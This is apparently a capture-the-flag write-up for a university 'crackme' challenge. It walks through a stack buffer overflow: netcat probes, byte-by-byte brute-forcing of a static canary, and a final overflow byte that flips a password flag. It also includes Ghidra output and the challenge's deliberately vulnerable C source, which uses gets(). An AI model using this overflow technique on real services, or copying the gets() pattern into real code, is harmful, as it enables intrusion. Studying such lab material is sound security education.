Can you crackme?

Description

In this challenge, you have to bypass the password check of the executable file crackme. If you do, the file will tell you where you can get your flag from. The TCP service is running on sfl.cs.tu-dortmund.de:10009.

Attached are a 32-Bit Version and a 64-Bit Version of the crackme file to ease your analysis.

Solution

Lets start by sending some input to the server:

echo "AAAAAAAAAAAAAAAAAA" |nc  sfl.cs.tu-dortmund.de 10009 

We receive back a message "Canary changed at position 0!", we must have been written over the input buffer and the canary check caught us. So how big is our buffer? And how can we trick the canary check?

How big is the buffer?

To probe our buffer size we can send our request multiple times and always remove one of the "A" from it. If you do so you will end with this:

echo "AAAAAAAAAAAAAAA" |nc  sfl.cs.tu-dortmund.de 10009 
// 15 A -> 15 byte buffer

Now we need to work out the canary. We can brute force this byte by byte:

echo "AAAAAAAAAAAAAAAa" |nc  sfl.cs.tu-dortmund.de 10009  // First try
echo "AAAAAAAAAAAAAAAb" |nc  sfl.cs.tu-dortmund.de 10009  // Second try
echo "AAAAAAAAAAAAAAAc" |nc  sfl.cs.tu-dortmund.de 10009  // Third try
...

echo "AAAAAAAAAAAAAAAs" |nc  sfl.cs.tu-dortmund.de 10009 | less // First byte of the canary is "s"

So how do we know that "s" is the first canary?

The output changed, it's no longer complaining "Canary changed at position 0!".

We continue this again for the next canary byte until we cracked the whole canary. To save some time you might want to write a script. The final command should look like this and returns no "canary" error:

echo "AAAAAAAAAAAAAAAsfl_cnry" |nc  sfl.cs.tu-dortmund.de 10009 

But where is the flag?

We do still have this nasty message: "Access denied!". To override the password check we need to write one additional byte, it can be anything except the "\0".

Final command:

 echo "AAAAAAAAAAAAAAAsfl_cnryA" |nc  sfl.cs.tu-dortmund.de 10009
 // Response: Access granted! fl4g{bytewise_comparisons_or_static_canaries_weaken_security}

Alternative approach to get the canary

An alternative method to get the canary is to use the tool Ghidra to decompile the binary file to more readable C code. If analyzed by Ghidra, we can extract C code of the crackme_32 main function:

undefined4 main(void)
{
  [...]
  
  local_10 = &stack0x00000004;
  apcStack_144[68] = (char *)0x11248;
  apcStack_144[65] = "\n Enter the password: ";
  FUN_000110c0();
  apcStack_144[65] = local_28;
  FUN_000110b0();
  ppcVar1 = (char **)auStack_30;
  if (local_19 == '\0') {
    apcStack_144[65] = (undefined *)0xffffffff;
    FUN_000110d0();
    ppcVar1 = apcStack_144 + 0x41;
  }
  puVar3 = (undefined *)ppcVar1;
  if (local_19 != 's') {
    puVar3 = (undefined *)((int)ppcVar1 + -0x10);
    *(char **)((int)ppcVar1 + -0x10) = "Canary changed at position 0!";
    *(undefined4 *)((int)ppcVar1 + -0x14) = 0x11298;
    FUN_000110c0();
    
    
  [...]

    if (local_13 != 'r') {
    puVar3 = puVar2 + -0x10;
    *(char **)(puVar2 + -0x10) = "Canary changed at position 6!";
    *(undefined4 *)(puVar2 + -0x14) = 0x113f0;
    FUN_000110c0();
    *(undefined4 *)(puVar2 + -0x10) = 0xffffffff;
    *(undefined4 *)(puVar2 + -0x14) = 0x113fd;
    FUN_000110d0();
  }
  puVar2 = puVar3;
  if (local_12 == '\0') {
    puVar2 = puVar3 + -0x10;
    *(undefined4 *)(puVar3 + -0x10) = 0xffffffff;
    *(undefined4 *)(puVar3 + -0x14) = 0x1140f;
    FUN_000110d0();
  }
  puVar3 = puVar2;
  if (local_12 != 'y') {
    puVar3 = puVar2 + -0x10;
    *(char **)(puVar2 + -0x10) = "Canary changed at position 7!";
    *(undefined4 *)(puVar2 + -0x14) = 0x11426;
    
  [...]

The source code contains a row of if statements comparing parts of a local array to chars, and these chars are sfl_cnry. So with this approach, we don't need to test each character, but can extract the canary directly from the binary.

Sourcecode for the canary binary

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char *gets(char *);

int main(void) {
    struct {
        char buff[15];
        char canary[8];
	char pass;
    } vars;

    char canary[8];
    FILE *f1 = fopen("canary.txt", "r");
    fgets(vars.canary, 9, f1);
    fclose(f1);
    strcpy(canary, vars.canary);

    char flag[62];
    FILE *f2 = fopen("flag.txt", "r");
    fgets(flag, 62, f2);
    fclose(f2);

    char pwd[15];
    FILE *f3 = fopen("pwd.txt", "r");
    fgets(pwd, 15, f3);
    fclose(f3);

    printf("\n Enter the password: \n");
    gets(vars.buff);
    fflush(stdout);

    if (!strcmp(vars.buff, pwd)) {
        vars.pass = 1;
    }

    if (vars.canary[0] == '\0') {
	exit(-1);
    }
    if (!(vars.canary[0] == canary[0])) {
	printf("%s\n", "Canary changed at position 0!");
	fflush(stdout);
	exit(-1);
    }
    if (vars.canary[1] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[1] == canary[1])) {
        printf("%s\n", "Canary changed at position 1!");
        exit(-1);
    }
    if (vars.canary[2] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[2] == canary[2])) {
        printf("%s\n", "Canary changed at position 2!");
        exit(-1);
    }
    if (vars.canary[3] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[3] == canary[3])) {
        printf("%s\n", "Canary changed at position 3!");
        exit(-1);
    }
    if (vars.canary[4] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[4] == canary[4])) {
        printf("%s\n", "Canary changed at position 4!");
        exit(-1);
    }
    if (vars.canary[5] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[5] == canary[5])) {
        printf("%s\n", "Canary changed at position 5!");
        exit(-1);
    }
    if (vars.canary[6] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[6] == canary[6])) {
        printf("%s\n", "Canary changed at position 6!");
        exit(-1);
    }
    if (vars.canary[7] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[7] == canary[7])) {
        printf("%s\n", "Canary changed at position 7!");
        exit(-1);
    }

    if (vars.pass) {
        printf("Access granted! %s \n", flag);
    } else {
        printf("Access denied! \n");
    }

    return 0;
}